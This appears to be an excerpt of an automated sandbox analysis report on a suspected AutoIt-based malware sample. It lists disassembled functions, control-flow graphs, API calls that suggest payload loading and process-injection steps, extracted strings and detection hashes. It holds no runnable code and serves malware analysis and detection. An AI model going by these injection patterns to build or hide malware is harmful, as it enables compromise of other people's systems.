                                                control_flow_graph 983 18c25c0-18c266e call 18c0000 986 18c2675-18c269b call 18c34d0 CreateFileW 983->986 989 18c269d 986->989 990 18c26a2-18c26b2 986->990 991 18c27ed-18c27f1 989->991 998 18c26b9-18c26d3 VirtualAlloc 990->998 999 18c26b4 990->999 992 18c2833-18c2836 991->992 993 18c27f3-18c27f7 991->993 995 18c2839-18c2840 992->995 996 18c27f9-18c27fc 993->996 997 18c2803-18c2807 993->997 1002 18c2895-18c28aa 995->1002 1003 18c2842-18c284d 995->1003 996->997 1004 18c2809-18c2813 997->1004 1005 18c2817-18c281b 997->1005 1000 18c26da-18c26f1 ReadFile 998->1000 1001 18c26d5 998->1001 999->991 1006 18c26f8-18c2738 VirtualAlloc 1000->1006 1007 18c26f3 1000->1007 1001->991 1010 18c28ac-18c28b7 VirtualFree 1002->1010 1011 18c28ba-18c28c2 1002->1011 1008 18c284f 1003->1008 1009 18c2851-18c285d 1003->1009 1004->1005 1012 18c281d-18c2827 1005->1012 1013 18c282b 1005->1013 1014 18c273f-18c275a call 18c3720 1006->1014 1015 18c273a 1006->1015 1007->991 1008->1002 1016 18c285f-18c286f 1009->1016 1017 18c2871-18c287d 1009->1017 1010->1011 1012->1013 1013->992 1023 18c2765-18c276f 1014->1023 1015->991 1019 18c2893 1016->1019 1020 18c287f-18c2888 1017->1020 1021 18c288a-18c2890 1017->1021 1019->995 1020->1019 1021->1019 1024 18c2771-18c27a0 call 18c3720 1023->1024 1025 18c27a2-18c27b6 call 18c3530 1023->1025 1024->1023 1030 18c27b8 1025->1030 1031 18c27ba-18c27be 1025->1031 1030->991 1033 18c27ca-18c27ce 1031->1033 1034 18c27c0-18c27c4 FindCloseChangeNotification 1031->1034 1035 18c27de-18c27e7 1033->1035 1036 18c27d0-18c27db VirtualFree 1033->1036 1034->1033 1035->986 1035->991 1036->1035
                                                APIs
                                                • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 018C2691
                                                • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 018C28B7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1366037876.00000000018C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 018C0000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_18c0000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateFileFreeVirtual
                                                • String ID:
                                                • API String ID: 204039940-0
                                                • Opcode ID: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
                                                • Instruction ID: 88d97a2a5d2027012653c07793ab45c287445e97b4af2d1bdd0e6457ab8335b5
                                                • Opcode Fuzzy Hash: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
                                                • Instruction Fuzzy Hash: BBA1F674E00209EBDB14CFA8C994BAEBBB6FF48704F208559E601BB280D7759A41CB64
                                                Function 00D839E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1114 d839e7-d83a57 CreateWindowExW * 2 ShowWindow * 2
                                                APIs
                                                • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00D83A15
                                                • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00D83A36
                                                • ShowWindow.USER32(00000000,?,?), ref: 00D83A4A
                                                • ShowWindow.USER32(00000000,?,?), ref: 00D83A53
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$CreateShow
                                                • String ID: AutoIt v3$edit
                                                • API String ID: 1584632944-3779509399
                                                • Opcode ID: 05ecdbadfcfb1caec493bb879710a1b5fdffbc01154538e9b744a5ef32107765
                                                • Instruction ID: 245e09ec93fbbee8eb74878848257ad957afb9c625df67437d8dc99f84652500
                                                • Opcode Fuzzy Hash: 05ecdbadfcfb1caec493bb879710a1b5fdffbc01154538e9b744a5ef32107765
                                                • Instruction Fuzzy Hash: B1F03A746402907EEB3117276C09E273E7DE7C7F50B00002AF900B65B0C2E60856CAB6
                                                Function 018C23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1115 18c23b0-18c24bd call 18c0000 call 18c22a0 CreateFileW 1122 18c24bf 1115->1122 1123 18c24c4-18c24d4 1115->1123 1124 18c2574-18c2579 1122->1124 1126 18c24db-18c24f5 VirtualAlloc 1123->1126 1127 18c24d6 1123->1127 1128 18c24f9-18c2510 ReadFile 1126->1128 1129 18c24f7 1126->1129 1127->1124 1130 18c2514-18c254e call 18c22e0 call 18c12a0 1128->1130 1131 18c2512 1128->1131 1129->1124 1136 18c256a-18c2572 ExitProcess 1130->1136 1137 18c2550-18c2565 call 18c2330 1130->1137 1131->1124 1136->1124 1137->1136
                                                APIs
                                                  • Part of subcall function 018C22A0: Sleep.KERNELBASE(000001F4), ref: 018C22B1
                                                • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 018C24B3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1366037876.00000000018C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 018C0000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_18c0000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateFileSleep
                                                • String ID: A9P9F3W6RD9YB
                                                • API String ID: 2694422964-379068426
                                                • Opcode ID: 7af998845a55478eff07cc02d61ded3c633b2fdd0868f29c2095243162053994
                                                • Instruction ID: adffad5034c6fdb374e51fedbb562836026dbeec969dd233eabe64bf08d73f00
                                                • Opcode Fuzzy Hash: 7af998845a55478eff07cc02d61ded3c633b2fdd0868f29c2095243162053994
                                                • Instruction Fuzzy Hash: 2C517D30D14259EBEF11DBA8C854BEFBB79AF18704F004199E609BB2C0D6B94B45CBA5
                                                Function 00D8410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1139 d8410d-d84123 1140 d84129-d8413e call d87b76 1139->1140 1141 d84200-d84204 1139->1141 1144 dbd5dd-dbd5ec LoadStringW 1140->1144 1145 d84144-d84164 call d87d2c 1140->1145 1148 dbd5f7-dbd60f call d87c8e call d87143 1144->1148 1145->1148 1149 d8416a-d8416e 1145->1149 1158 d8417e-d841fb call da3020 call d8463e call da2ffc Shell_NotifyIconW call d85a64 1148->1158 1161 dbd615-dbd633 call d87e0b call d87143 call d87e0b 1148->1161 1151 d84174-d84179 call d87c8e 1149->1151 1152 d84205-d8420e call d881a7 1149->1152 1151->1158 1152->1158 1158->1141 1161->1158
                                                APIs
                                                • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00DBD5EC
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                • _memset.LIBCMT ref: 00D8418D
                                                • _wcscpy.LIBCMT ref: 00D841E1
                                                • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00D841F1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
                                                • String ID: Line:
                                                • API String ID: 3942752672-1585850449
                                                • Opcode ID: a1b520538f08f1d47f4e336be7ccc06d83c34e7a9d84d26bdbfd5884758ae09b
                                                • Instruction ID: 91dbc5c49933d1c8467676ee6603f3863262ef79b368ec1d53143608f15d4c63
                                                • Opcode Fuzzy Hash: a1b520538f08f1d47f4e336be7ccc06d83c34e7a9d84d26bdbfd5884758ae09b
                                                • Instruction Fuzzy Hash: 4F31B371408305AED721FB60DC46FDB77E8AF56300F14451AF195A20A1EBB4A649C7B7
                                                Function 00DA564D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                                • String ID:
                                                • API String ID: 1559183368-0
                                                • Opcode ID: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
                                                • Instruction ID: 82352c44999f3739858fab4241f9f55bfa085a532732d75066912a11f6e2d727
                                                • Opcode Fuzzy Hash: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
                                                • Instruction Fuzzy Hash: 7951C631A00B05DFDB248F79E88066E77A1EF42320F688729F825A62D8D770DD549B70
                                                Function 00D869CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D84F3D: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00E462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D84F6F
                                                • _free.LIBCMT ref: 00DBE68C
                                                • _free.LIBCMT ref: 00DBE6D3
                                                  • Part of subcall function 00D86BEC: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00D86D0D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _free$CurrentDirectoryLibraryLoad
                                                • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                • API String ID: 2861923089-1757145024
                                                • Opcode ID: b9f2af1e0d761da90cbd6c2959c3ab763ed77b8cbf31130926af919b47d42248
                                                • Instruction ID: 34e1157855e4e600060cd333af309e55cc5f300f4840a073bdaefd2d09563e4c
                                                • Opcode Fuzzy Hash: b9f2af1e0d761da90cbd6c2959c3ab763ed77b8cbf31130926af919b47d42248
                                                • Instruction Fuzzy Hash: 58913971910219EFCF14EFA5C8919EDB7B4FF19314F14446AE816AB291EB30E945CB70
                                                Function 00D835B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00D835A1,SwapMouseButtons,00000004,?), ref: 00D835D4
                                                • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00D835A1,SwapMouseButtons,00000004,?,?,?,?,00D82754), ref: 00D835F5
                                                • RegCloseKey.KERNELBASE(00000000,?,?,00D835A1,SwapMouseButtons,00000004,?,?,?,?,00D82754), ref: 00D83617
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CloseOpenQueryValue
                                                • String ID: Control Panel\Mouse
                                                • API String ID: 3677997916-824357125
                                                • Opcode ID: 66ec829f83683b96c3760986ef05a27fee8ebe7be1d1733976cd6af453c94dc2
                                                • Instruction ID: 520c6293cb76893ebb1b06f06164b9a1add41bfa99ac1f42579169c340c2b240
                                                • Opcode Fuzzy Hash: 66ec829f83683b96c3760986ef05a27fee8ebe7be1d1733976cd6af453c94dc2
                                                • Instruction Fuzzy Hash: 23115A71510208BFDB209F69DC41DAEB7BCEF04B40F008469F809E7210E2719F549770
                                                Function 018C12A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 018C1A5B
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 018C1AF1
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 018C1B13
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1366037876.00000000018C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 018C0000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_18c0000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: 4a62210935fbc19ac52c28b7856ac9112c9a9e608a38d15f0a7da1a89c903d0f
                                                • Instruction ID: e1be30e3e1b5169b15787cfa4108630c97d18e629d5006d367e372453a560652
                                                • Opcode Fuzzy Hash: 4a62210935fbc19ac52c28b7856ac9112c9a9e608a38d15f0a7da1a89c903d0f
                                                • Instruction Fuzzy Hash: D8621B30A14258DBEB24DFA4C884BDEB772EF58700F1091A9D20DEB391E7759E81CB59
                                                Function 00DE97E5 Relevance: 6.2, APIs: 4, Instructions: 155COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D85045: _fseek.LIBCMT ref: 00D8505D
                                                  • Part of subcall function 00DE99BE: _wcscmp.LIBCMT ref: 00DE9AAE
                                                  • Part of subcall function 00DE99BE: _wcscmp.LIBCMT ref: 00DE9AC1
                                                • _free.LIBCMT ref: 00DE992C
                                                • _free.LIBCMT ref: 00DE9933
                                                • _free.LIBCMT ref: 00DE999E
                                                  • Part of subcall function 00DA2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00DA9C64), ref: 00DA2FA9
                                                  • Part of subcall function 00DA2F95: GetLastError.KERNEL32(00000000,?,00DA9C64), ref: 00DA2FBB
                                                • _free.LIBCMT ref: 00DE99A6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                • String ID:
                                                • API String ID: 1552873950-0
                                                • Opcode ID: c040f5d591410a8d3afab51092a26b6f5939c84b98243336257d617f1f09bfd3
                                                • Instruction ID: b5caa1b31fd912679425b1d6622bd4a3248420e5ccaee9aa6a1e328d458fe431
                                                • Opcode Fuzzy Hash: c040f5d591410a8d3afab51092a26b6f5939c84b98243336257d617f1f09bfd3
                                                • Instruction Fuzzy Hash: 2A5151B1904258AFDF249F65DC81A9EBBB9EF48310F14049EB649A7241DB715D80CF78
                                                Function 00DA493A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                                • String ID:
                                                • API String ID: 2782032738-0
                                                • Opcode ID: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
                                                • Instruction ID: 7dd3f3a3d592900d5a74daf1e8699e2d1cc276906c9c1d3b89081b22622dc3bd
                                                • Opcode Fuzzy Hash: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
                                                • Instruction Fuzzy Hash: 6041C2756007069BDF288FA9C8809AF77A6EFC6364B28813DE855C7680E7B0DD508B74
                                                Function 00D84DD0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID: AU3!P/$EA06
                                                • API String ID: 4104443479-182974850
                                                • Opcode ID: 4f3808be5560627decb931b466753966a24a4dc0bcfe49ed3cc58285ed9adc92
                                                • Instruction ID: 7aa182c03fe7c379396262c54b96fb230e46efb1d76ce5abc96b41b4d4f14dc0
                                                • Opcode Fuzzy Hash: 4f3808be5560627decb931b466753966a24a4dc0bcfe49ed3cc58285ed9adc92
                                                • Instruction Fuzzy Hash: 4C415B62A04659ABCF22BB64D8517BE7FA6EF05300F2C4065FD82AB286D6218D4483B1
                                                Function 00D873E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DBEE62
                                                • GetOpenFileNameW.COMDLG32(?), ref: 00DBEEAC
                                                  • Part of subcall function 00D848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D848A1,?,?,00D837C0,?), ref: 00D848CE
                                                  • Part of subcall function 00DA09D5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00DA09F4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Name$Path$FileFullLongOpen_memset
                                                • String ID: X
                                                • API String ID: 3777226403-3081909835
                                                • Opcode ID: 38bdd80058b56c2b4af4823dd53e56bb6b19198ba0d3bc6052d5a66900b0b614
                                                • Instruction ID: 775841c25bfe4767e4e32bb728dd1bb85d85f4ae90bf4c025c1a563f76b18d4f
                                                • Opcode Fuzzy Hash: 38bdd80058b56c2b4af4823dd53e56bb6b19198ba0d3bc6052d5a66900b0b614
                                                • Instruction Fuzzy Hash: FA21A131A002589BCB11EF94C845BEE7BF89F49714F14401AE409B7282DBF8998A8FB1
                                                Function 00DE901B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __fread_nolock_memmove
                                                • String ID: EA06
                                                • API String ID: 1988441806-3962188686
                                                • Opcode ID: 624603420f45af7e89a45aa26002dddc1822978b9f3d8b3d1ba55c2e8e3f23ef
                                                • Instruction ID: fe4d0e0771e6e957c343ece2b1c1cf5a0c85c2b1d1916460274239201f5d9124
                                                • Opcode Fuzzy Hash: 624603420f45af7e89a45aa26002dddc1822978b9f3d8b3d1ba55c2e8e3f23ef
                                                • Instruction Fuzzy Hash: 4701F9718042586EDB28C7A8D81AEEEBBF8DB01301F00419AF592D2181E579E604C770
                                                Function 00DE9B6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTempPathW.KERNEL32(00000104,?), ref: 00DE9B82
                                                • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00DE9B99
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Temp$FileNamePath
                                                • String ID: aut
                                                • API String ID: 3285503233-3010740371
                                                • Opcode ID: 5b6bdc339df22a000ea19b1604c4caed683f62fc70acb65e16347f888b081166
                                                • Instruction ID: 3512d8b8b76f0ca71c28307e130f91d8772d1cfe4b204a3887a01fd4ca02b927
                                                • Opcode Fuzzy Hash: 5b6bdc339df22a000ea19b1604c4caed683f62fc70acb65e16347f888b081166
                                                • Instruction Fuzzy Hash: 18D05B7554030DAFDB209B90DC0DF96772CD704701F0041B1FE54A10A1DDB155E88B91
                                                Function 00DFCDF1 Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: ba4a203b00635a2fa7351d6a3cd748bf10754dafe0a94ae6bc18bb1fa6a06beb
                                                • Instruction ID: 566f275102be9e3d4566e8adb355eabd767012aef0a7f619537692b72376b376
                                                • Opcode Fuzzy Hash: ba4a203b00635a2fa7351d6a3cd748bf10754dafe0a94ae6bc18bb1fa6a06beb
                                                • Instruction Fuzzy Hash: 59F15A709083459FC714DF28C480A6ABBE6FF88314F15892EF9999B351D731E945CFA2
                                                Function 00D843DB Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D84401
                                                • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D844A6
                                                • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00D844C3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
